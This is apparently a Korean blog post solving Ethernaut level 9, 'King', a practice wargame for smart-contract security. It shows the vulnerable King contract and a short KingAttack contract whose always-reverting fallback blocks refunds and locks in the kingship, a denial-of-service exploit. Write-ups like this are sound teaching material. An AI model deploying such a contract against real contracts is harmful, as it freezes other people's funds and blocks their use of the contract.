본문 바로가기

블록체인/Ethernaut

[Ethernaut] 9. King

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

 

 

목표

킹이 되는 것

 

방법

 // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingAttack {

    constructor(address _adr) public payable {
        address(_adr).call{value: msg.value}("");

    }

    fallback() external {
        revert("you lose!");
    }


}

 

 

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 11. Elevator  (0) 2022.06.06
[Ethernaut] 10. Re-entrancy  (0) 2022.06.05
[Ethernaut] 8. Vault  (0) 2022.06.01
[Ethernaut] 7. Force  (0) 2022.05.31
[Ethernaut] 6. Delegation  (0) 2022.05.30